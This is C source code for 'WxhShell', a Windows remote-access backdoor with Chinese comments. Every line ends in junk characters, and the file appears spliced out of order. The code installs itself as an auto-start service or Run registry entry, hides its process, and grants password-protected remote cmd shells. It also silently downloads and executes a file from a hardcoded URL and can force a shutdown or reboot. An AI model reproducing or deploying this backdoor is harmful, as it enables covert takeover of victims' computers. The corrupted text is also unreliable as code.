    if(Boot(SHUTDOWN)) HstL'{&,-m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h;~NA}>  
    else { 1G'pT$5&  
    closesocket(wsh); co' qVsOiH  
    ExitThread(0); :N'   
    } =`l><  
    break; " +hUt  
    } fyxc4-D  
  // 获取shell ^1Bk*?Yx\x  
  case 's': { \jAI~|3  
    CmdShell(wsh); ,C|aiSh0-  
    closesocket(wsh); )))AxgM  
    ExitThread(0); ?',Wn3A  
    break; X7?j90tH  
  } TV}=$\D  
  // 退出 ^=qV)j  
  case 'x': { }6*JX\'q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ri4:w_/{,Y  
    CloseIt(wsh); .GWN~iR(  
    break; Hio+k^  
    } _S CY e  
  // 离开 #;UoZJ B  
  case 'q': { R S] N%`]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kD6Iz$tr  
    closesocket(wsh); 4v2JrC;  
    WSACleanup(); qJw\<7m  
    exit(1); 2FGCf} ,  
    break; PmT<S,}L  
        } s:I 8~Cc  
  } JC}T*h>Ee  
  } 6mjD@  
`0-i>>  
  // 提示信息 ML%JT x0+Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0UQ DB5u  
} !"'@c  
  } #q8/=,3EG  
_,w*Rv5=  
  return; tR_DN  
} o_r{cnu  
!ED,'d%J  
// shell模块句柄 5xa!L@)`wF  
int CmdShell(SOCKET sock) S4OOm[8  
{ WL3J>S_  
STARTUPINFO si; Y>K8^GS  
ZeroMemory(&si,sizeof(si)); nyOvB#f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !RN9wXS7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y tTppmJF  
PROCESS_INFORMATION ProcessInfo; U[:Js@uH_  
char cmdline[]="cmd"; Kc+9n%sp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -#g0  
  return 0; Ef=4yH?\j  
} {6F]w_\  
D c]J3r  
// 自身启动模式 NC|VZwQtm  
int StartFromService(void) <g, 21(bc  
{ 51'V[tI;8  
typedef struct LtNspFoLb  
{ EpENhC0  
  DWORD ExitStatus; vb`:   
  DWORD PebBaseAddress; /}s#   
  DWORD AffinityMask; $[b1_Db  
  DWORD BasePriority; ryTtGx%a  
  ULONG UniqueProcessId; l{V(Y$xp3  
  ULONG InheritedFromUniqueProcessId; V_KHVul  
}   PROCESS_BASIC_INFORMATION; .iST!nh  
=HMuAUa.  
PROCNTQSIP NtQueryInformationProcess; YW"nPZNPy~  
ppO!v?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *k0;R[IAV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aI\]R:f,  
A \Z_br  
  HANDLE             hProcess; G ahY+$L,  
  PROCESS_BASIC_INFORMATION pbi; =BzBM`-o  
v=D4O.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~:-V<r,pe  
  if(NULL == hInst ) return 0; axv-U dE;  
j0S[JpoF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZOL#Q+U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1c`Yn:H^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ua+Us"M3}  
>9[wjB2?}  
  if (!NtQueryInformationProcess) return 0; b+$-f:mj  
Ljk0K3Q6>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GA.cp*2 ~  
  if(!hProcess) return 0; Vtk}>I@%  
bW zUWLa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^k!u  
(KR.dxzjf  
  CloseHandle(hProcess); q&,uJo  
; $UB@)7%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qx}*L'xB  
if(hProcess==NULL) return 0; oSP^ .BJ$  
?q"9ZYX<  
HMODULE hMod; KzB9 mMrO  
char procName[255]; 5(y Q-/6C+  
unsigned long cbNeeded; ?#L5V'ZZ*  
4*Z>-<W=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5NMju!/  
X{qa|6S,F  
  CloseHandle(hProcess); 'WwD$e0=  
D*8oFJub  
if(strstr(procName,"services")) return 1; // 以服务启动 ;(LC{jY  
dV"Kx  
  return 0; // 注册表启动 &I/C^/F&  
} i.+#a2   
AUR{O  
// 主模块 5ma~Pjt8}  
int StartWxhshell(LPSTR lpCmdLine) hy@e(k|S]U  
{ > Cx;h=  
  SOCKET wsl; WQHlf 0]  
BOOL val=TRUE; wE_#b\$=b  
  int port=0; 9bD ER  
  struct sockaddr_in door; |LE*R@|3$  
AaJz3oncJ  
  if(wscfg.ws_autoins) Install(); OWmI$_L  
QC+BEN$  
port=atoi(lpCmdLine); 58Z,(4:E  
\Qz  
if(port<=0) port=wscfg.ws_port; 7[(<t+  
G3t\2E9S  
  WSADATA data; `R:HMO[ow  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E\~!E20^  
!(qaudX{>k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q_A?p$%;L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); It8@Cp.dU  
  door.sin_family = AF_INET; <Kq!)) J'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -)E6{  
  door.sin_port = htons(port); YuzgR;Z  
L%4Do*V&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mj:=$}rs^  
closesocket(wsl); s=)1:jY k  
return 1; g]}E1H6-  
} >\ PNKpn{  
n}q/:|c  
  if(listen(wsl,2) == INVALID_SOCKET) { N#vV;  
closesocket(wsl); ;3N>m| ?D=  
return 1; efm#:>H  
}  Qs\!Kk@  
  Wxhshell(wsl); [\)irCDv  
  WSACleanup(); gOn^}%4.I  
}I#,o!)Vd  
return 0;  Tv~Ys#  
XNB4KjT  
} Su[f"2oR  
Y_M3-H=0  
// 以NT服务方式启动 qF4pTQf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J ?H| "  
{ zvh&o*\2<d  
DWORD   status = 0; $lAhKpdlW  
  DWORD   specificError = 0xfffffff; Rm=[Sj84  
%2rUJaOgy$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t0o'_>*?A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,F0bkNBG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [214b=  
  serviceStatus.dwWin32ExitCode     = 0; wTu=v  
  serviceStatus.dwServiceSpecificExitCode = 0; 7f q\ H{  
  serviceStatus.dwCheckPoint       = 0; M1=y-3dW3  
  serviceStatus.dwWaitHint       = 0; X:gE mcXc  
AO^c=^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nV?e(}D  
  if (hServiceStatusHandle==0) return; _iW-i  
O.wk*m!9  
status = GetLastError(); -'::$ {  
  if (status!=NO_ERROR) ScTeh  
{ HiDL:14  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YBY!!qjPx  
    serviceStatus.dwCheckPoint       = 0; .k:Uj-&  
    serviceStatus.dwWaitHint       = 0; C-L["O0[  
    serviceStatus.dwWin32ExitCode     = status; M9dUo7  
    serviceStatus.dwServiceSpecificExitCode = specificError; |%7OI#t^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gX *i"Y#  
    return; "%{J$o  
  } #wZBWTj.  
J l9w/T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ke,$3Yx  
  serviceStatus.dwCheckPoint       = 0; ='GY:.N  
  serviceStatus.dwWaitHint       = 0; @`#"6y?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >,QW74o  
} /*) =o+  
hS:j$j e  
// 处理NT服务事件,比如:启动、停止 **lT ' D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) he1W22  
{ )w!*6<  
switch(fdwControl) FVS@z5A8<=  
{ wMru9zyI  
case SERVICE_CONTROL_STOP: +G<9|-  
  serviceStatus.dwWin32ExitCode = 0; dnUiNs8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A+1>n^^_<  
  serviceStatus.dwCheckPoint   = 0; :ODG]-QF  
  serviceStatus.dwWaitHint     = 0; {w|KWGk2  
  { N"#=Q=)x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9W@ Tf  
  } Fwv(J_'q  
  return; dEM=U;  
case SERVICE_CONTROL_PAUSE: iWu^m+"k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rJ}k!}G  
  break; i2+vUl|;Z  
case SERVICE_CONTROL_CONTINUE: 5$p7y:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]NgEN  
  break; G/5]0]SO  
case SERVICE_CONTROL_INTERROGATE: (3M7RpsL@  
  break; U `<?~Bz  
}; \%011I4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6N.+  
} ti^msC8e  
a#:K"Mf.  
// 标准应用程序主函数 ^zVBS7`J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .|9o`mF7  
{ !]z6?kUK  
EkEU}2  
// 获取操作系统版本 3"J85V%h]n  
OsIsNt=GetOsVer(); +XN/ bT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5 NdIbC  
iH""dtO  
  // 从命令行安装 BSib/)p   
  if(strpbrk(lpCmdLine,"iI")) Install(); O*zF` 9  
fA>FU/r  
  // 下载执行文件 #'jd.'>  
if(wscfg.ws_downexe) { KQ(7%W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1P+Te,I  
  WinExec(wscfg.ws_filenam,SW_HIDE); i VIpe  
} v&i,}p^M5  
IHlTp0?  
if(!OsIsNt) { lwuslt*E/  
// 如果时win9x,隐藏进程并且设置为注册表启动 \a}W{e=FNT  
HideProc(); `;fk,\8t%  
StartWxhshell(lpCmdLine); =/jCDY  
} z4 yV1  
else c_YP#U  
  if(StartFromService()) 5U+a{oA  
  // 以服务方式启动 XKq}^M&gy  
  StartServiceCtrlDispatcher(DispatchTable); <X,0\U!lL  
else 8~")9w  
  // 普通方式启动 T=n)ea A  
  StartWxhshell(lpCmdLine); nd/.]"  
dNMz(~A[Y  
return 0; Y"&1jud4xl  
} O A9G] 8k  
*(sUz?t  
F ak"u'~  
=`MU*Arcs[  
=========================================== v{dvB:KP5X  
pl.K*9+  
QirS=H+~  
?pJUbZ#J  
;jgJI~3l  
zU1[+JJY"{  
" @ s2<y@  
M:? :EJ  
#include <stdio.h> [C"[#7  
#include <string.h>  H*]B7?S  
#include <windows.h> hRvj iK\  
#include <winsock2.h> 8P#jC$<  
#include <winsvc.h> DNN60NX 5Q  
#include <urlmon.h> ?g21U97Q  
Y$SwQ;wl  
#pragma comment (lib, "Ws2_32.lib") Z-D4~?Tv  
#pragma comment (lib, "urlmon.lib") _;1H2o2f  
wUbs9y<  
#define MAX_USER   100 // 最大客户端连接数 O$Z<R:vVA  
#define BUF_SOCK   200 // sock buffer L93KsI  
#define KEY_BUFF   255 // 输入 buffer M(_1'2  
fq2t^c|$  
#define REBOOT     0   // 重启 f\~OG#AaX  
#define SHUTDOWN   1   // 关机 ZdP2}w  
-Ob89Z?2A  
#define DEF_PORT   5000 // 监听端口 pl{Pur ;i  
BbqH02i  
#define REG_LEN     16   // 注册表键长度 P}Ud7Vil;l  
#define SVC_LEN     80   // NT服务名长度 j>70AE3[8  
~20O&2  
// 从dll定义API 3LaqEj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /?,c4K,ap  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); psHW(Z8G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oMj;9,WK'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JNYFu0  
5#SD$^  
// wxhshell配置信息 I2$.o0=3Y  
struct WSCFG { ~J Xqyw}  
  int ws_port;         // 监听端口 p+F{iMC  
  char ws_passstr[REG_LEN]; // 口令 s}pn5zMp:8  
  int ws_autoins;       // 安装标记, 1=yes 0=no j\Z/R1RcW  
  char ws_regname[REG_LEN]; // 注册表键名 9. 7XRxR^  
  char ws_svcname[REG_LEN]; // 服务名 )j[rm   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PafsO,i-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 | rDv!m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0Q1s JDa.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no </OZ,3J=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dfmxz7V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `f9I#B  
FB-_a  
}; .Y"H{|]Mnh  
,%FBELqOW  
// default Wxhshell configuration P,ox) )+6  
struct WSCFG wscfg={DEF_PORT, E9L)dMZSpj  
    "xuhuanlingzhe", *Q@%< R  
    1, b:,S  
    "Wxhshell", N<\U$\i  
    "Wxhshell", ]ctlK'.  
            "WxhShell Service", *0 0K3  
    "Wrsky Windows CmdShell Service", ?1z." &  
    "Please Input Your Password: ", Y0||>LX  
  1, n' \poB?  
  "http://www.wrsky.com/wxhshell.exe", DhL]\ 4  
  "Wxhshell.exe" '01ifA^  
    }; ,KMt9 <  
%S<0l@=5`l  
// 消息定义模块 _Co*"hl>2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +s}"&IV%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q599@5aS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (>E 70|T  
char *msg_ws_ext="\n\rExit."; =psX2?%L  
char *msg_ws_end="\n\rQuit."; Zljj  
char *msg_ws_boot="\n\rReboot..."; `nxm<~-\  
char *msg_ws_poff="\n\rShutdown..."; kAEm#oz=g  
char *msg_ws_down="\n\rSave to "; =3Y:DPMB  
yX:*TK4  
char *msg_ws_err="\n\rErr!"; O+Zt*jN;  
char *msg_ws_ok="\n\rOK!"; 39w|2%(O.  
]0VjVU-  
char ExeFile[MAX_PATH]; u49v,,WGw  
int nUser = 0; eN/o}<(e  
HANDLE handles[MAX_USER]; se)vi;J7K  
int OsIsNt; q@i,$R  
S9$*w!W  
SERVICE_STATUS       serviceStatus; X0,?~i6Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1Fado$# 7  
n6PXPc  
// 函数声明 b`@aiXN)+  
int Install(void); wX_s./#JJ  
int Uninstall(void); P+m{hn~%  
int DownloadFile(char *sURL, SOCKET wsh); Hq{i-z+  
int Boot(int flag); w!0`JPu  
void HideProc(void); ZE())W"  
int GetOsVer(void); wgK:^D P  
int Wxhshell(SOCKET wsl); ;_.%S*W\  
void TalkWithClient(void *cs); h|_E>6d)  
int CmdShell(SOCKET sock); Sc!{ o!9\  
int StartFromService(void); Jv*(DFt!v  
int StartWxhshell(LPSTR lpCmdLine); ?]`kc  
!);kjXQS?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]vJ] i <|b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J!$q"0G'WT  
,~@Nhd~k  
// 数据结构和表定义 5$,dpLbL  
SERVICE_TABLE_ENTRY DispatchTable[] = R89 ;<,Ie  
{ r*|#*"K"a  
{wscfg.ws_svcname, NTServiceMain}, ay\e# )  
{NULL, NULL} ?I6us X9$  
}; nV|H5i;N7  
eB`7C"Z  
// 自我安装 K[%)_KW  
int Install(void) ,DN>aEu1  
{ ;TAf[[P  
  char svExeFile[MAX_PATH]; HQ8oOn  
  HKEY key; nQ/R,+6h  
  strcpy(svExeFile,ExeFile); fh0a "#L{  
8._ A[{.f  
// 如果是win9x系统,修改注册表设为自启动 L#Mul&r3x0  
if(!OsIsNt) { 2L#$WuM~^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LRqBP|bjCD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zFy0Sz F  
  RegCloseKey(key); wzr3 y}fCe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u? a*bW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JmJ8s hq  
  RegCloseKey(key); J1waiOh  
  return 0; Oy :;v7  
    } J2 "n:  
  } TG\3T%gH/s  
} 0] 'Bd`e  
else { b<|l* \  
f?_UT}n  
// 如果是NT以上系统,安装为系统服务 [ 7W@/qqv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gK{-eS  
if (schSCManager!=0) ^f:oKKaAW;  
{ qSRE)C=)  
  SC_HANDLE schService = CreateService (x{6N^J.t  
  ( RR u1/nam  
  schSCManager, 1LbJR'}  
  wscfg.ws_svcname, jY>BU&  
  wscfg.ws_svcdisp, sx;7  
  SERVICE_ALL_ACCESS, G@Z,Hbgm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  aKkG[q N  
  SERVICE_AUTO_START, >4gGb)  
  SERVICE_ERROR_NORMAL, Y)kO"  
  svExeFile, Cv@ZzILyoK  
  NULL, ,&Iw5E[  
  NULL, K:!|xr(1d  
  NULL, `'Fz :i  
  NULL, A4lh`n5%  
  NULL -6(u09mb_  
  ); )z'LXy8  
  if (schService!=0) |K(j}^1k  
  { A.a UWh  
  CloseServiceHandle(schService); E2M|b  
  CloseServiceHandle(schSCManager); @Sxb}XI!f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i%m]<yElm  
  strcat(svExeFile,wscfg.ws_svcname); kW"6Gc&HUN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;++CMTza]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5&WYL  
  RegCloseKey(key); ).[Mnt/Ft  
  return 0; ~J}{'l1{yf  
    } eyq8wQT  
  } y\]~S2}G  
  CloseServiceHandle(schSCManager); _~?N3G  
} %F'*0<  
} 7^}np^[HB  
Y`5(F>/RQG  
return 1; | |=q"h3(  
} &tT*GjPwg;  
W'l &rm@  
// 自我卸载  `Pa)H  
int Uninstall(void) fiuF!<#;6  
{ $q_e~+SXT  
  HKEY key; /%w9F  
' +6H=Qn  
if(!OsIsNt) { V) #vvnq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bL: !3|M  
  RegDeleteValue(key,wscfg.ws_regname); g4(vgWOW`  
  RegCloseKey(key); ,G,'#]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "pdq_35  
  RegDeleteValue(key,wscfg.ws_regname); W,<P])  
  RegCloseKey(key); 4l0ON>W(  
  return 0;  xZJ r*  
  } 8]!%mrS  
} W`}C0[%VW  
} @D<q=:k  
else { mJBvhK9%  
s68&AB   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ''+6qH-.|]  
if (schSCManager!=0) 7,.Hj&'B  
{ e;1n!_l\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *#O8 ^3D_c  
  if (schService!=0) y:6&P6`dx  
  { N*~G ]  
  if(DeleteService(schService)!=0) { {U:c95#.!S  
  CloseServiceHandle(schService); qDR`)hle  
  CloseServiceHandle(schSCManager); *>x~`  
  return 0; MdzG2uZT  
  } /s91[n(d  
  CloseServiceHandle(schService); }pP<+U  
  } GfEg][f  
  CloseServiceHandle(schSCManager); @<$-*,  
} ig Mm.1>  
} W2CCLq1(  
~*WSH&ip  
return 1; 8Vcg30_+  
} wYxnKm~f  
Ood8Qty(  
// 从指定url下载文件 K)m\xzT/  
int DownloadFile(char *sURL, SOCKET wsh) *82f {t]  
{ >"^H"K/T  
  HRESULT hr; ?.&]4z([  
char seps[]= "/"; >Ux5UD  
char *token; L B:wo .X  
char *file; U#=Q`  
char myURL[MAX_PATH]; $vlc@]~d`&  
char myFILE[MAX_PATH]; _wa1R+`_  
H{Zfbb  
strcpy(myURL,sURL); ES~ykE  
  token=strtok(myURL,seps); Ey5E1$w%&  
  while(token!=NULL) Z:Hk'|q}I  
  { A"wor\(  
    file=token; YQU #aOl  
  token=strtok(NULL,seps); ^j"*-)R  
  } m2!y;)F0  
gwvy$H   
GetCurrentDirectory(MAX_PATH,myFILE); Q+d9D1b  
strcat(myFILE, "\\"); c< ke)@  
strcat(myFILE, file); v!oXcHK/  
  send(wsh,myFILE,strlen(myFILE),0); D8u_Z<6IjI  
send(wsh,"...",3,0); V~rF`1+5N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); giU6f!%  
  if(hr==S_OK) _x<CTFTL  
return 0; l56D?E8  
else [12^NEt  
return 1; ~~h@(2/Q>x  
jl# )CEx  
} Yb57Xu  
AL #w  
// 系统电源模块 DL&\iR  
int Boot(int flag) 9v_B$F$_T  
{ 0E9LZOw4T  
  HANDLE hToken; K1S)S8.EZ8  
  TOKEN_PRIVILEGES tkp; Z4U8~i  
ZqaCe>  
  if(OsIsNt) { ;x.xj/7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sxq'uF(K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $0[T=9q <+  
    tkp.PrivilegeCount = 1; MjIp~?*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <a@'Pcsk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;U6z|O7L  
if(flag==REBOOT) { 1-.UkdZ}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X|Gsf= 1S  
  return 0; AplXl=  
} vh8{*9+  
else { Eeem y*U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mz\d>0F U.  
  return 0; _KSYt32N  
} N :E7rtT,M  
  } &r \pQ};  
  else { VH3 j  
if(flag==REBOOT) { `@MY}/ o.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n GE3O#fv  
  return 0; ht8%A 1|  
} 8 Zy`Z  
else { b<UZD yN~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K * Tj;  
  return 0; `>^2MHF3LT  
} X9^a:7(  
} W(N@`^  
O9>& E;`5  
return 1; (;^VdiJ  
} qV57P6<  
x%kS:!  
// win9x进程隐藏模块 $j(2M?.>#  
void HideProc(void) g%1FTl  
{ rf.w}B;V;  
/p| ]*={  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0m?v@K' l  
  if ( hKernel != NULL ) Vw7NLTE}`  
  { C!N&uNp@s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f]F]wg\_f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {5}UP@h  
    FreeLibrary(hKernel); _aOisN{  
  } Z{/0 P  
sMh3IL9(*  
return; N~H9|CX  
} r0=Aru5n  
T9enyYt%  
// 获取操作系统版本 \ ]  
int GetOsVer(void) 1=C>S2q  
{ 3| 5Af  
  OSVERSIONINFO winfo; fDo )~t*~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bor_Kib  
  GetVersionEx(&winfo); WZ}c)r*R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "qEHK;  
  return 1; SJhcmx+  
  else mO$]f4}  
  return 0; &E.ckWf  
} z@hlN3dg  
_iBNy   
// 客户端句柄模块 i>gbT+*E!  
int Wxhshell(SOCKET wsl) GJW>8*&&(  
{ mVGQyX  
  SOCKET wsh; A-:58Qau+  
  struct sockaddr_in client; V6'"J  
  DWORD myID; mq@2zE`.(  
.{as"h-.O  
  while(nUser<MAX_USER) <_&H<]t%rI  
{ 9I*zgM!F  
  int nSize=sizeof(client); :| J' HCth  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?[Xv(60]  
  if(wsh==INVALID_SOCKET) return 1; $fSV8n;Y  
ks=j v:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /5:C$ik  
if(handles[nUser]==0) l0Wp%T  
  closesocket(wsh); [>xwwm  
else GD?4/HkF  
  nUser++; X $LX;Lv  
  } d0YN :lJc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0?525^   
ia !t~~f  
  return 0; C5;=!B  
} NDLk+n  
.XR`iX Y  
// 关闭 socket 3B:U>F,]4  
void CloseIt(SOCKET wsh) !P7&{I,e  
{ cOa.]Kk  
closesocket(wsh); Wi_5.=  
nUser--; B '\^[  
ExitThread(0); 5I9~OJ>  
} _gZ8UZ)  
hmJ{'D1"  
// 客户端请求句柄 &U:bRzD  
void TalkWithClient(void *cs) :lQl;Q -e  
{ p$dVGvM(  
T% J;~|  
  SOCKET wsh=(SOCKET)cs; Fi.gf?d  
  char pwd[SVC_LEN]; -miWXEe@l  
  char cmd[KEY_BUFF]; t3!?F(&  
char chr[1]; s"b()JP  
int i,j; INZycNqm,  
JFe %W?}.D  
  while (nUser < MAX_USER) { lquY_lrri  
^Nl)ocHv!  
if(wscfg.ws_passstr) { *het_;)+{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (6i)m c(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1SoKnfz{6  
  //ZeroMemory(pwd,KEY_BUFF); L<bZVocOb_  
      i=0; Onoi^MDy  
  while(i<SVC_LEN) { NQzpgf|h  
v2R41*z,  
  // 设置超时 %KL"f  
  fd_set FdRead; y&T(^EA;  
  struct timeval TimeOut; `pS<v.L3  
  FD_ZERO(&FdRead); c%-s_8zvi  
  FD_SET(wsh,&FdRead); y\L$8BSL  
  TimeOut.tv_sec=8; Nx>WOb98  
  TimeOut.tv_usec=0; N=hr%{} c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4/; X-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \ZiZ X$  
`C 'WSr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5&]|p'"W\  
  pwd=chr[0]; AA&398F  
  if(chr[0]==0xd || chr[0]==0xa) { ncS.~F  
  pwd=0; b(wzn`Z%Et  
  break; Z(LDAZG  
  } m~Q]#r  
  i++; =Ly7H7Q2  
    } kgfOH.P  
W!B4~L  
  // 如果是非法用户,关闭 socket Z}_{@|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w5uOi}T\  
} b'Cy!dr  
 |/K+tH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); idiJ|2T"G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <1#v}epD#  
1.WdxMpW9  
while(1) { c$aTl9e  
(3YqM7cqt  
  ZeroMemory(cmd,KEY_BUFF); F#S^Q`  
 qGG  
      // 自动支持客户端 telnet标准   sIQd }  
  j=0; hYRGIpu5  
  while(j<KEY_BUFF) { Ql8E9~h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qp8. D4^@3  
  cmd[j]=chr[0]; b Z c&uq_  
  if(chr[0]==0xa || chr[0]==0xd) { ZAe>MNtW  
  cmd[j]=0; r:.5O F}  
  break; ='f<_FD  
  } Am3^3>  
  j++; O8+e: K[D  
    } h*2Q0GRX  
`F<)6fk  
  // 下载文件 g0t$1cUR  
  if(strstr(cmd,"http://")) { W tF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I,dH\]^h=  
  if(DownloadFile(cmd,wsh)) @=ABO"CQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r2?-QvQ  
  else F, {M!dL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F. X{(8  
  } h _6QVab@  
  else { b%>vhj&F  
>Ya+#j~CZ  
    switch(cmd[0]) { hU=n>g>nx  
